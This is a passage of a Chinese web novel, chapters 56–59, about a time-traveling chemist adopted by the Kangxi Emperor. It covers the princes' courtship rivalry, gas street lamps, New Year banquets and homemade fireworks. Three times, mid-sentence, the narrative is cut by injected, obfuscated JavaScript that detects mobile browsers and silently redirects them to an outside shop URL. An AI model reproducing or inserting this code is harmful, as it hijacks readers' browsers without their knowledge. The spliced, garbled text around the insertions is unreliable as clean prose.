你的生辰也快到了,到时候可得好好庆祝一番,去去晦气。” 说着他从袖口中掏出来一叠银票,这是一万两。来之前就跟八阿哥商量好的,算是染料之事分给十四阿哥的好处费。 十四阿哥看了一眼塞过来的银票,很是意外的看向八阿哥和九阿哥,“九哥,你们给我这么多钱做什么?” “收着吧。” 八阿哥解释道:“因为染料一事归内务府管,所以多少有些油水,而且之前也分了一些给顺和。” 听八阿哥这么说,十四阿哥有些沉默,不过却没有再拒绝。 像这种事情以前他是没有资格过问,也不知道。 而现在八阿哥主动说了,还分了利益出来,这是一种拉拢的态度。 所以他不能拒绝。 所谓报团取暖,单打独斗又怎么斗得过太子呢? 十四阿哥大大方方的收下这笔钱,“多谢八哥还有九哥、十哥。” 接着八阿哥又就兵部的事情为十四阿哥分析了一番,自然是希望他能够尽快的在兵部立足。 十四阿哥也知道只有掌握一定的权柄,才能有周旋的余地。 八阿哥他们离开后,把收到的一万两银票分成两份,其中五千两给了福晋,剩下的十四阿哥打算给沈姝。 因为染料原本就是她弄出来的,而他能得到这笔钱算起来是沾了她的光。 三日后,十四阿哥去公主府拜访沈姝。 沈姝也是刚才搬至这里,无论如何她都想早点儿从十四阿哥那里搬出来。 原本已经让顺子去买院子了,结果康熙却赐了一个,倒是省的花钱买了。 她已经听说了十四阿哥被放出来的消息,但一直没有主动去见。 既是怕康熙知道了误会,也怕十四阿哥误会。 现在见到十四阿哥过来,又看见他明显较之前消瘦了许多,沈姝心里很是过意不去。 “十四哥,你的伤怎么样了?” “已无大碍。” 这句“十四哥”仿佛是破空的利刃,刺痛了十四阿哥的心。 他细细的看着沈姝,相比福晋,她脸色红润,不见丝毫憔悴,并没有为自己担忧到清减。 发现这个事实,十四阿哥心中苦涩。 这说明她正如之前所说的那样,心中无他。 但他心中有她…… 纵使是心有钟情,也无心多叙,一时之间十四阿哥还拿不定主意,不知道应该怎么面对沈姝这个“妹妹”。 于是便直接掏出来那五千两银票说道:“前几日八哥他们过来,给了我一万两,说是因着染料之事所得。 我拿了一半,这些你收下吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14157479|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>没想到八阿哥还分了好处费给十四阿哥,看起来不算太吝啬。 在拉拢人上,八阿哥有一手。 不过这钱沈姝真的不需要,她看着十四阿哥说道:“八哥也给了我一些,十四哥你平日里需要钱的地方更多,不用担心我。 再说皇阿玛已经分给了我染料和如意灯一成的利,而且还默许我可以继续做生意,所以我不缺钱。 反倒是十四哥你若是手头紧的时候,可不要跟我客气。” 听沈姝这么说,十四阿哥心里好受了许多,至少她还是关心他的。 “好。” 十四阿哥没有再勉强,沈姝有本事,并不是寻常女子。 他竟不知要送些什么,才能讨她欢心。 十四阿哥有些沉默,不知道接下来该说什么好。 沈姝也一样,两个人默默无言了片刻。 最终还是十四阿哥先开了口,“正月初九我生辰,你过来吗?” “当然是要去给十四哥你贺寿。” 沈姝点点头,觉得跟十四阿哥保持良好的兄妹关系就很好。 所以又多说了几句,“十四哥,你于我有救命之恩,现在我们是兄妹,我自然是希望你好。” “嗯,我会好好的,你也是。” 十四阿哥微微点头,自被圈禁后他确实是褪去些年少的冲动,多了少许沉稳。 两个人都没有再多说什么,十四阿哥起身告辞。 沈姝送他至院外,心里松了一口气,看样子他应该是已经想开了。 这样就很好,何必执着于儿女情长? 更何况眼下这情况,根本不适合…… 每个人都有自己想要的东西,以及必须要做的事情。 沈姝现在的目标是要尽快开始尿素的合成实验,因为她知道康熙之所以这么大方的封赏自己,为的就是肥料。 若是在这件事上掉链子,她料想自己不会有好果子吃。 除此之外,还有其他事情。 铸造局的焦炉正在改造,待改造完成之后就要开始教授内务府的人学习如何制作染料。 至于如意灯,倒是没什么。 待八阿哥将灯制作完成,剩下就是教会管灯之人如何充气和使用。 接下来就能腾出手来提取甘油,研制一些甘油产品来做生意。 没有人会嫌钱多,沈姝也不例外。 内务府的分红还不知道猴年马月才能到账,现在手里就只有之前卖布所得的几千两银子,这还算不上是有钱人。 还有十四阿哥的生辰礼物,也得费点儿心思准备。 对于十四阿哥,沈姝是真心觉得对不住他,害他又是挨打又是被圈禁。 另外,还有四阿哥,沈姝更是感到头疼。 四阿哥因她而受伤,可看起来一点儿都没有迁怒之意。 看来系统给的任务没有这么容易完成,不过还好时间很充裕。 即便这任务是有生之年系列,那也还有大把的时间和机会,只要在完成任务之前不要因其他事情而招惹杀身之祸即可。 算起来在这个时代多活这么久也不算亏,只要最终能完成任务再回去! 所以沈姝的打算是按部就班的先解决手头的事,其他的慢慢来。 57.第 57 章 在内城设置如意灯之事,腊月底也就年关之前八阿哥就办好了。 京城的内城居住之人以旗人为主,还有部分汉臣。 沈姝的公主府就在内城的皇城之中,包括四阿哥还有十四阿哥在内的其他宗室也居住于此。 从皇城开始再到内城,将近一个多月时间,共计在大街小巷安装了一千盏如意灯。 这一千盏如意灯花了一万两银子,之前沈姝定做的灯是一两银子一盏,不过那是室内使用的,不带玻璃灯罩。 而这些安置在外面的灯必须要有能够防风聚光的玻璃罩子,多出来的那九两银子就是灯罩钱。 不过这些灯罩不讲究那么多,即便是里面有气泡或者其他瑕疵并不美观,只要是透明能用即可。 内务府造办处的玻璃厂制作精美玻璃物件的技术不行,残次品居多,但吹点儿不讲究什么美观的小灯罩还行。 这些灯罩有不少都不能近观细看,但大晚上的,灯挂的又高,谁还能搬个梯子凑上去看不成? 反正远远看着是亮的就行,其他的就暂时顾不得了。 而且八阿哥也没有在这上面捞油水,因为没必要,一万两银子对于内务府来说并不算什么大数目。 刮个蚊子腿能有多少肉? 况且他也不差这一万两银子,此事紧要的是要办的漂亮。 所以在全城铁匠铺子的日夜赶工之下,才把这件事给办好了。 八阿哥会办事,为此还自掏腰包拿出五百两银子激励匠人。 所以对于赶工,匠人们毫无怨言,提起八阿哥哪个都是感激不已! 十二月二十三的小年夜,听过八阿哥的奏报康熙走出紫禁城亲自前来观灯。 一盏盏被点亮的灯盏,像一个小小的太阳,发出亮眼的光芒。而原本黑黢黢的大街小巷,逐渐鲜活明亮起来。 因日落而沉寂的内城仿佛是又活过来一样,此番景象颇为震撼。 康熙不禁发出感慨,“真乃是夜色映辉煌,璀璨映天光!” 而大街小巷的人们看到外面明亮如昼,纷纷跑了出来,对着如意灯发出阵阵惊叹声。 这些奇形怪状的灯,安置的时候曾引起了围观,不曾想竟如此之亮! 大家都听说这是皇上让安置的,不知是何人带头高喊着:“谢主隆恩!” 而后此起彼伏的“谢主隆恩”声不绝于耳,听得康熙龙颜大悦,心潮澎湃。 历朝历代,何曾有如此之盛况? 这应该就是臣民心之所向的盛世华年! “胤禩,此事办的好,朕心甚悦!” 康熙大笑着表扬了八阿哥,任谁都看得出来,他此时心情大好! 内城居住的是旗人,而汉人则聚集于外城。无论是旗人还是汉人,都是他的子民。 这满城的如意灯听八阿哥说才花了一万两银子,灯可以一直用,又不用再花费什么灯油钱,所以外城也可以安排上! 康熙当即吩咐道:“朕还要再交给你一件差事,外城的街道上也要安置上此灯。 花费就从内务府出,算是朕赐予对京城百姓的福利。” 拢共也就两万两银子,他既要旗人的感激之心,也要汉人的心悦诚服! “嗻。” 差事办的好,能让皇上高兴,八阿哥才能高兴。 他趁机禀告道:“皇阿玛,铸造局的炉子已经改造的差不多了。 儿臣想着待外城的如意灯也安置完毕之后,也尽快让更多百姓沐浴皇恩,在家中用上如意灯。” “如此甚好!” 看着明亮的街道,康熙负手而立笑的合不拢嘴,眼中尽是对盛世繁华的期望。 自古以来,灯油钱对于寻常百姓而言都是一笔大花销。 否则也不会有凿壁偷光,囊萤映雪的典故。如意灯的出现,于本朝而言实为祥瑞! 正因为如此他才会容忍沈姝的小性子,因为她确实是个难得的人才! 沈姝可不知道连煤气灯都能成为祥瑞,今晚康熙并未让她伴驾。 她也不知道康熙出来看灯了,不过却是听到了周围的“谢主隆恩”声。 街上安装如意灯的事情她知道,已经陆续安了有段时间,没想到今日小年夜才点亮。 沈姝心道八阿哥还挺会挑日子,而且听着外面的声音,这事办的还挺漂亮。 后世的街道照明都是市政工程,费用也不用百姓出,现在外面的如意灯也算是对城内百姓的福利了。 丁氏的族人有六女四男随行搬入公主府,主要是充当府中的下人。 外面忽然亮如白昼,刚才有几人也好奇的跑出去看灯,回来之后都惊叹连连。 当然顺子除外,他现在可是见过大世面的人! “这灯就是咱们公主所做,没什么稀奇的!现在大家都是公主府的人,以后有的是见世面的机会。 你们都机灵点儿,还是我交代的那些,嘴一定要严实,要多干活少说话,不要偷奸耍滑!要知道,没有公主就没有我们的好日子……” 顺子现在是府里的大管家,不厌其烦的叮嘱着被挑选过来当差的亲戚。 他们兄弟都知道,攀附上沈姝是丁氏崛起的唯一机会! 而沈姝对这些人还算是满意,她并不是娇贵的小姐或格格。 平日里也不喜欢被仆从簇拥,对于仆从的要求就是听话和忠心。 而且她也不喜欢府中人多口杂,虽然十个下人对于公主府来说是过少,但暂时没有要添置的打算。 自从搬入公主府没有带六子,他便识趣的没有再跟过来。 当然十四阿哥也没有再指派他再过来,所以整个公主府都是沈姝自己的人。 之前六子在,做什么事情他都会考虑到十四阿哥而加以阻拦,还会把什么都汇报给十四阿哥…… 他毕竟是十四阿哥的人,对此沈姝也不能怎样,当然心里肯定是觉得不太舒服。 毕竟没有人喜欢自己整日里被人看着,又不是小孩子,现在这样就感觉自由多了。 不得不说,康熙赏赐的这个院子还不错。 虽然相比四阿哥他们的府邸要小得多,占地不过二三十亩。 不过内置还算精致,府中还有亭台水榭的锦鲤池。 自搬进来,沈姝没花多少时间在收拾院子上。这座府邸是康熙所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172980|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赐,又不是她买的,所以总有种不安全感。 今儿个皇上高兴赐个院子,谁知道哪天惹他不高兴又被收回去。 因此沈姝没有花心思收拾这里,而是让顺子去郊外寻处地方修个庄子,就像十四阿哥的庄子那样。 她需要一处能做实验的地方,十四阿哥庄子里的实验设备回头还得搬出来。 顾及到两个人之家的关系影响,总不好再占着他的庄子。 现在她手里这几千两,在郊区买块地盖几间房还是绰绰有余。 不过庄子的事情要等到年后了,年前还是要在十四阿哥的庄子上继续做实验。 现在做的是十四阿哥的生日礼物,烟花。 沈姝已经打听过,此时过年已经有放花炮的习俗。 花炮就是烟花,寓意着驱邪避凶、祈求平安吉祥。 烟花的寓意正是沈姝所愿,所以她决定送些烟花作为礼物。为此还特意买了些花炮研究了一番,发现这些花炮跟后世的烟花还是有一些差别的。 在沈姝看来,这些烟花的燃放效果有比较大的待改进空间。 设计烟花,她自认还算是行家。 因为家里就是开烟花厂的,否则也不会自幼对化学感兴趣。 她还曾经担任过自家厂里的烟花设计师,很可惜后来家里的烟花厂就倒闭了。 当然不是因为设计的烟花卖不出去,而是因为众所周知的烟花爆竹禁令。 还记得那时候她爸舍不得销毁库存的大型烟花,非要拉去老家燃放,结果当然是被罚款了。 后来更是年年被罚年年放,属于是屡罚不改。 自从过年不允许放鞭炮没有烟花,就少了许多年味。 对于烟花,沈姝也算是有特殊的感情。 虽然手头没有制作烟花的原料,也来不及自制原料。 但这不是问题,直接去市面上多买一些烟花,然后把里面的“馅”拆出来就能利用。 十四阿哥的生辰是正月初九,过了年就是,时间上很紧凑。 但仅仅只是改良一下,对于沈姝来说是小菜一碟,无非是要多花费些时间罢了。 所以年前的这些天,一直在忙于改造烟花。反正她孑然一身,连准备年货的动力都没有,也不用走亲访友。 外面天寒地冻的,更是提不起去哪里游玩或者逛街的兴致。 所以还不如忙碌点儿好,忙起来就能忘记独在异乡为异客的孤单。 不过除夕之前沈姝收到了三张请帖,分别是四阿哥、八阿哥还有十四阿哥送来的。 三份请帖都是邀请她登门做客,四阿哥的邀请时间是大年初八,八阿哥是大年初六,至于十四阿哥则是之前说过的大年初九。 另外宫里还派人通知说大年初一要进宫去陪同皇上一同吃团圆饭,这算是沈姝过年期间的所有社交活动。 一直忙活到除夕下午,沈姝的年夜饭是自己吃的。 即便是她不讲究,想要与丁氏兄弟及其家属一同用餐,他们也不敢乱了尊卑。 独自面对着一桌菜,沈姝居然有种高处不胜寒的感觉。 除夕之后,便是初一,要进宫。 58.第 58 章 宫里的团圆饭时间在未时,也就是下午三四点钟。 地点是在乾清宫,参加之人皆为康熙的子女及其配偶,像沈姝这样的便宜女儿也在列。 对于沈姝来说,这样的团圆饭其实还挺折磨人的,简直是在受罪。 乾清宫的大殿里既没有暖气也没有空调,即便是有炭火炉子,也冷飕飕的。 冻的人连手都缩在衣袖里不想伸出来,也就是沈姝没有经验,不知道来的时候带个手炉。别的女眷都带了,就她没带。 而且团圆饭的繁文缛节还很多,时不时都得跪下来叩谢。 外面冷,加上屋里也不暖和,不少菜品上到桌子上都已经凉了。 感觉今日要比她册封那日还冷,沈姝搓着手,心里只剩下吐槽。 就这天儿,要是完成任务回去她肯定是去澳大利亚看袋鼠了! 就算是没来这里之前,至少还能窝在开着暖气的家里,哪里需要像现在这样挨冻。 而且身为公主,连穿衣自由都没有了。 像现在就只能着宫装,连在外面套个大棉袄都不行! 怪不得古代就连皇子皇女的夭折率都很高,就这保暖条件,吃顿饭都得冻感冒。 一不小心感冒就引起肺炎、脑膜炎、心肌炎等,然后就一命呜呼了! 沈姝在想为了自己的小命着想,要不要抽空试试看能不能自制点儿常用药? 上次她还想过要合成对乙酰氨基酚呢…… 脑子里还正在回想各种制备原料的资料时,忽然一个有些眼熟的侍女走过来说道:“顺和公主,福晋让奴婢送这个给您。” 侍女手里赫然是一只小巧的手炉,沈姝记得这个侍女好像是四福晋身边的。 “是四嫂让你过来的?” 侍女轻声回道:“福晋见您未带手炉,就分了一个给您先暖和着。” 这个手炉确实是四福晋的,但真正让送的人其实是四阿哥。 虽然殿中是男女分座,四阿哥的位置离这边也不算近。但他时不时的有在关注沈姝,当然注意到了她不时搓手的动作。 料想她是觉得冷,所以就吩咐苏培盛去给四福晋传个话,让她分出一只手炉给沈姝。 因为知道福晋出门的时候带了手炉,不过他没有带。 哪里有男子带手炉的? 其实十四阿哥也在时不时的偷偷用眼角的余光看沈姝,同样也发现了她可能是感到冷。 他不能像四阿哥那样让福晋去送手炉,因为他的福晋不会愿意。 所以他只能眼睁睁的看着四阿哥的贴身小厮苏培盛绕到了四福晋身边,然后四福晋身边的婢女又去了沈姝那里,明显是去送手炉的。 十四阿哥知道四阿哥对沈姝贼心不死,所有才会如此献殷勤! 但他现在无力阻拦,怎么拦? 跑去对四阿哥说让他死了这条心? 他还没有这么幼稚,明知四阿哥根本不可能会听他的! 至于说当众戳破四阿哥的心思? 十四阿哥绝对不可能干出这样的事来! 甚至说如果有人污蔑沈姝与四阿哥之间有什么不正当关系,他会选择设法摁死污蔑之人,而不是借机使得皇上因此而厌弃四阿哥! 因为他不愿意让这种事情败坏了沈姝的名声,更不想看到皇上会因此而厌弃沈姝。 就像木兰秋弥,他与十三阿哥同时看中了同一只猎物,那能怎么办? 还不是谁先猎到手才算谁的! 所以十四阿哥觉得,对于沈姝,他与四阿哥之间最终是要看谁能得到她的心。 只是现在沈姝出乎意料的变成了“妹妹”,十四阿哥不知道自己接下来应该怎么办才好…… 不过四阿哥的所作所为倒是点化了十四阿哥,他突然就想通了,妹妹又如何? 还是可以像之前那样关心她、爱护她,只是不能再像以前那样光明正大,而是需要遮遮掩掩。 终于想明白自己以后应该怎么做了,十四阿哥的心情豁然开朗,接连独酌了好几杯。 跟十四阿哥同桌的十三阿哥不知他心中所想,只觉得这种突然就端起酒杯自顾自的连灌几杯的行为很是莫名其妙。 从这点儿上来说,十三阿哥觉得四阿哥与十四阿哥不愧是一母同胞的亲兄弟。 虽然他们脾性大不相同,但都有这种让人莫名其妙摸不着头脑的时候。 而沈姝得到手炉,感觉暖和了许多,不禁觉得四福晋人还挺好的。 宴席中,沈姝还得到了康熙的赏赐,是李德全端过来的一块西瓜。 对,西瓜,新鲜的那种。 看着手中红瓤绿皮的西瓜,沈姝确实感到有点儿新鲜。 这个季节的西瓜啊,在这个时代应该是不多见,因为周边其他女眷并没有得到这种赏赐。 沈姝猜想是不是因为如意灯的事情康熙比较满意,所以才会有此赏赐。 她猜对了,确实如此。 康熙就是这样,喜欢谁就赏赐谁夸赞谁,不喜欢谁就冷淡待之。 暴怒的时候可能还会骂人或者直接动手…… 吃过饭还不算完事,还得陪着康熙看戏。 这戏唱的咿咿呀呀的,像沈姝这样的后世年轻人能喜欢戏曲的只是少数。 沈姝就是那种不喜欢戏曲的大多数,所以听的很是无聊。 期间借口出恭,她数次到外面去遛弯。 可惜乾清宫附近着实没有什么可看的景致,也就能看看黄色琉璃瓦上还未融化的积雪。 到了天色渐暗的时候,这顿团圆饭终于结束了。结束之前,沈姝还获得了一个完整西瓜的赏赐。 除了她,得到赏赐的还有太子、大阿哥、三阿哥、四阿哥、八阿哥、十四阿哥。 每年的这顿团圆饭对所有皇子皇女来说都很重要,因为对于许多人来说这是一年之中能陪同皇上这个阿玛用餐的唯一机会。 而且从皇上的态度上,还可以看出看重哪个儿子。 较之往年,今年得到赏赐之人一下子多了两个,是四阿哥还有沈姝。 皇上喜爱哪个子女才会赏赐,这说明今年四阿哥还有沈姝都让皇上心喜。 对于这份赏赐,沈姝有点儿意外。 她告诉自己,这是一种阳谋,不能感动。 因为康熙想要众人都知道他对自己这个义女的看重,但她与康熙之间怎么可能会有什么“父女情分”? 不过做领导做成这样,还挺能收买人心的。不得不说,康熙算得上是一个能处的领导。 但作为一个父亲,怕是偏心的不能行。 沈姝都替没能得到赏赐的阿哥们感到委屈难受,为子女者最意难平的应该就是父母的偏心。 可康熙就是这么光明正大的偏心,真不是个好爹! 因为宫内不随便留人过夜,所以前来赴宴之人哪怕是亲生儿子,都必须要在宫门落锁前离开。 虽然外面天色已昏黑,但从宫里出来的人再也不用提灯笼,此时城内的如意灯此时已经被点着,照亮了大街小巷。 自小年夜到现在,这些灯具彻亮整夜,每每看到这些灯,总还有人感叹不已。 听说这些灯不费油,所以才能如此的彻夜不息。 不少人都想买些回去安置在自家院子里,可听八阿哥说还得再等等。 而八阿哥为了完成皇上交代的任务,也为了堵住其他人的嘴,连自家院子里都还没安置上如意灯。 孰轻孰重他还是能分清的,要是给这些人开了口子,那皇上交代的任务就完不成了。 已经有不少人都前来打探过如意灯的事情,对于后续如意灯的贩卖行情,八阿哥觉得到时候肯定能卖的不错。 这对于内务府来说,算是能增加一笔不错的收入。 当然还有染料,所以八阿哥能明白皇上看重沈姝的原因。 内务府是帝王内帑,谁都喜欢能为自己赚钱之人。 这样的人换谁都看重,他也一样,所以才会邀请她初六前来做客! 大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176901|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年初一的团圆饭结束后,沈姝并没有再出门,而是在公主府中安排年后的生意。 大年初三这天下午,十四阿哥府的顺子忽然登门,送来了好几只手炉。 他只说是十四阿哥让送的,放下东西就迫不及待的走了,好像怕被拒绝一样。 沈姝没有拒绝,也不可能再把这些手炉再重新送返回去。 就当是十四阿哥对她这个义妹的关心吧! 初六这天,沈姝自然是前去赴约。 原本初六这天,九阿哥、四阿哥还有十四阿哥他们都会齐聚在八阿哥家的。 只不过这次多了一个沈姝。 正常情况下待客是应该男女分席的,但沈姝现在是八阿哥要拉拢的对象,再加上又知道她与十四福晋不睦。 所以没办法把她放在女眷那桌上,结果就是大家都围坐在一个桌子上,桌子中央是一口铜制的火锅。 当然因为沈姝与十四阿哥的关系,所以她的座位在八福晋与九福晋中间,既不挨着十四阿哥,也不连着十四福晋。 “今日是家宴,咱们不讲究那么多。” 八阿哥笑呵呵的说道。 对此,没有人提异议,即便是十四福晋。 明眼人都能看得出来皇上对沈姝的看重,团圆饭上她是唯一受到赏赐的公主。 连同八福晋、九福晋还有十福晋都对她热情周到,再也不见之前那种爱答不理的模样。 十四福晋心中不情愿,但也不会再故意找沈姝的茬,给她脸色看。 因为沈姝已经不是她能惹得起的人! 再说十四阿哥不仅被放了出来,而且还被封为贝子,十四福晋也不想再计较之前的事情。 不得不感慨,一旦有了权势地位,身边就会有很多和善可亲的人…… 席间,沈姝说起了自己给十四阿哥准备的生日礼物。 因为烟花燃放的时候需要注意场合,否则容易引起火灾,还是需要提前先说一声的。 “十四哥,初九你生辰那天我送你的礼物是花炮,不知道府中方不方便燃放?” 在场的其他人听到这话都有点儿不知道该说什么好,谁送礼物会提前先把送什么说出来啊! 再说用花炮这种东西作为礼物未免也过于简陋了? 但十四阿哥并不在乎这些,沈姝送的,哪怕只是一张纸,那都是礼轻情意重! 他想了想说道:“我生辰宴上安排的也有花炮,打算是待入夜去郊外的庄子上燃放。顺和你要是送了花炮,那就换做燃放你送的。” “要去庄子上燃放啊?” 沈姝笑道:“正好我制作的花炮也在你的庄子里呢,省得来回搬运了! 不过既然十四哥你府中买的也有,那就一起燃放吧,我制作的那些应该与你买的那些不一样。” “顺和你还会制作花炮?” 八阿哥插了句话。 沈姝谦虚了一句,“略懂一二。” 九阿哥见状问道:“为十四弟贺寿的花炮是八哥从内务府造办处弄来的,顺和你自制的花炮难道还有什么特别之处?” “就是个新花样,图个吉祥如意。” 沈姝没有多说,反正燃放了就能看见。 而十阿哥则是看着沈姝,面带疑惑,“为什么你连花炮都会制?你怎么能有这么多手艺?” “当然是因为我天资聪颖啊!” 沈姝笑着开了句玩笑,回避了这两个问题。不过这也不算是自夸,从小到大,哪个老师不夸她聪明? 十四阿哥闻言面色柔和笑得含蓄,没有说话。知道沈姝特意为他制作花炮的情意,就已足够。 八阿哥笑着打趣道:“哎呀,哪有人如此自夸的?我看也就是顺和你! 那我们可得好好看看你这的花炮到底是什么新花样!” 沈姝手里总是会有让人惊奇的东西,他甚至有些期待那到底是什么样的花炮? 这顿饭吃的算是宾主尽欢,初八这天,沈姝还得去四阿哥府上赴宴。 59.第 59 章 四阿哥府里,为了接待沈姝,一大早的就开始忙碌了。 当然,都是四福晋这个女主人在指挥下人忙来忙去。 因为年前四阿哥不止一次的唠叨说沈姝孤身一人,在京城也没个亲戚,过年请她来家里热闹热闹,一定不能怠慢了。 早在腊月里开始置办年货的时候,四阿哥就开始交代让四福晋多添置些新食材。 什么瓜果鲜蔬,各色干果等都不能缺,结果就是今年府里备置年货的花费比去年多了二三百两银子。 要知道往年府里的客人并不多,再加上四阿哥这个一家之主一向都不怎么在乎什么吃穿用度,所以府里的开销并不大。 今年算是较之往年直接翻倍了,对此四福晋只得照办。 可以说对于年货的准备,往年四阿哥从来都没有如此上心过。 虽然家里的事情平时四阿哥并不怎么管,但他开口要求之事,一定要照做。 否则他会发脾气。 四福晋当他如此是想要费心交好沈姝这个皇上心中的红人。 初六那天十三阿哥登门做客的时候都在惊讶今年的宴席明显要比往年更精致,还问四阿哥今年怎么舍得如此大方了? 四阿哥则是随口解释说今年想换换口味,十三阿哥还真信了。 做客临走时四阿哥还送了他半个西瓜,十三阿哥感激不已。 说实话,皇上封赏了比自己小的十四阿哥为贝子,十三阿哥为此感到失落。 不过十四阿哥一向都比他受宠,他的这些兄弟中,能文善武的不在少数。 而且生母出身高又受宠的也很多,相比之下十三阿哥觉得自己就逊色了许多。 论受宠程度,十三阿哥觉得自己连沈姝这个皇上新认的义女都比不上。 论骑射,他是比沈姝强,可论捣鼓这些奇怪的玩意,他万万不及。 哪个兄弟不会骑射? 可会捣鼓这些新奇玩意的兄弟是一个都没有! 所以沈姝被皇上看重也是理所当然,因为皇上喜欢这些,对此十三阿哥只有羡慕的份儿! 不同于十三阿哥,四阿哥只为沈姝被皇上看重而欣慰且安心。 有皇上护着,沈姝才能安然。 否则以她的能力、性子和美貌,实在是让人忧心。 四阿哥希望有朝一日,自己也能有护住沈姝的能力…… 至于眼下,只能顾及当前,就像现在顺心而为能让她高兴些就好。 沈姝过来四阿哥府后,发现同样是火锅,但用餐之人少了许多。 一张不大的桌子,只坐了三个人,四阿哥夫妇与她。 四阿哥以为沈姝疑惑的是为什么要男女同席,便解释道:“今日家宴,不讲究那么多。” 今日的宴席他并不想人太多,所以就没让侧福晋、庶妃等上桌吃饭。 原本作为公主的陪客,她们就不配! 这番说辞与八阿哥一般无二,沈姝后知后觉的发现初六那天自己在八阿哥府上,确实一起上桌吃饭的女眷只有嫡福晋。 “八哥也是这么说的。” 她笑了笑,转而看着旁边几个木架子上的菜色说道:“可这么多菜品,咱们吃不完吧?” 三个人吃火锅要百十道涮菜吗? 这也太多了! 四阿哥却是说道:“你今年是第一年在京城过年吧?正好也多尝尝京城的菜品。” 顿了顿又道:“吃不完也不会浪费的,现在天儿冷,放到明天继续用也坏不了。” 四福晋见状也笑着说道:“你四哥是想让你都尝尝,看看哪道菜品合乎心意。” “正是正是。” 四阿哥笑着点点头,他就是这个意思。 说话间苏培盛从外面进来,手里捧着一瓶红酒。 这瓶酒显然不是大清国的国货,而是洋货,因为这是一支玻璃瓶的葡萄酒。 “爷,甜酒已经取来了。” 四阿哥接过这瓶葡萄酒转头朝沈姝问道:“这是数年前皇阿玛所赐的洋酒,说是番邦异国之葡萄所酿,是甜的不醉人,你可要尝尝?” 旁边的四福晋笑的脸都快僵了,主要是从未见过四阿哥这样。 这瓶酒据她所知,都在库房里珍藏了好几年,有且仅有这一瓶。 倒不是平日里不想喝,是舍不得! 今儿个可好,连这酒都取出来了。 但四阿哥如此热络,四福晋也只能笑着附和,“这可是稀罕物,顺和你可得尝尝。 今儿个要不是你来,你四哥还舍不得拿出来呢!” 沈姝没有拒绝,笑着点头,“那我可是有口福了。” 能在这个时代喝到这种葡萄酒,不容易。 见沈姝喜欢这酒,四阿哥还挺高兴的。 冬日里的西瓜不是什么稀罕物,她自己都得到了这种赏赐,而这酒想必还没见过。 席间,四阿哥很是热情,不仅亲自介绍了一些菜品,还示意苏培盛给沈姝布菜。 苏培盛隐约觉察出四阿哥的这个主子的意图,自打在宫里时他就跟着四阿哥,还从未见自己主子对哪个人或者准确的说是对哪个女人如此殷勤过。 但他不敢深想,这事……可、可不能想多了啊! 苏培盛很有眼色,见哪种菜品沈姝吃的多,就布哪种。 四阿哥边吃边跟沈姝闲聊,“自打这城内安置了如意灯,真是方便了许多,我还想在家中也安置一些呢!” 沈姝府里也还没有安置,之前打造的那些只能在室内使用,在室外的还需要添加防风的玻璃罩,不过不急在这一时半会儿的。 “听八哥说过来年应该就可以开始贩卖如意灯了。” 四阿哥点点头,接着又道:“听那些洋人说他们的家乡也没有如意灯,他们对此灯也甚是好奇。” 原本以为沈姝的这些新鲜玩意是跟哪个西洋传教士所学,但看那些洋人的反应,居然是连他们也感到新奇。 之前的紫色染料,那些洋人也是惊奇不已。 四阿哥觉得沈姝身上是不是有什么秘密,以她的年龄来说,懂的可真不少! 他只是好奇,想要更多的了解她。 沈姝知道再过几十年,英国就要掀起工业革命,开启日不落帝国的征程。 到时候…… 想到这里她有点儿想叹气,“洋人的家乡或许正在发生什么重大的变化,他们应该是很久都没有回去家乡去看看了。” 说完之后她转移了话题,不想再多谈这个,“对了四哥,明日十四哥生辰你跟四嫂过去吗?” “十四弟的生辰,自然是要去的。” 无论十四阿哥来不来他的生辰宴,但四阿哥都会去这个弟弟的生辰宴。 因为,兄友弟恭。 他只管对弟弟表现出“友”,至于弟弟对他这个兄长是否“恭”,旁人也都看在眼里。 紧接着,四阿哥问向沈姝,“你呢?” “当然也是要去的。” 尽管十四阿哥对她可能还有一些男女之情,但沈姝不会因此就断绝与他的来往。 就算是要避嫌,也不是这个避法。 只要各自能控制住情况即可,没必要弄的跟陌生人一样,那样反而有点儿此地无银三百两的样子。 成年人的世界,不是非此即彼。 人与人之间的关系也不是一成不变的,不知道遇到什么事情就会突然改变。 所以沈姝的做法是与十四阿哥保持一定的距离,并不是要因此而绝交。 不过她还记得四阿哥生辰时十四阿哥没去赴宴,现在十四阿哥生辰,四阿哥竟然去赴宴,这两兄弟之间的关系还挺有意思的。 “明日十四弟家应该挺热闹的,说不定还会请戏班子唱戏。” 听沈姝说要去赴宴,四阿哥并不意外。 之前她不止一次的说过,十四阿哥是她的救命恩人。 若是不去,那才叫忘恩负义。 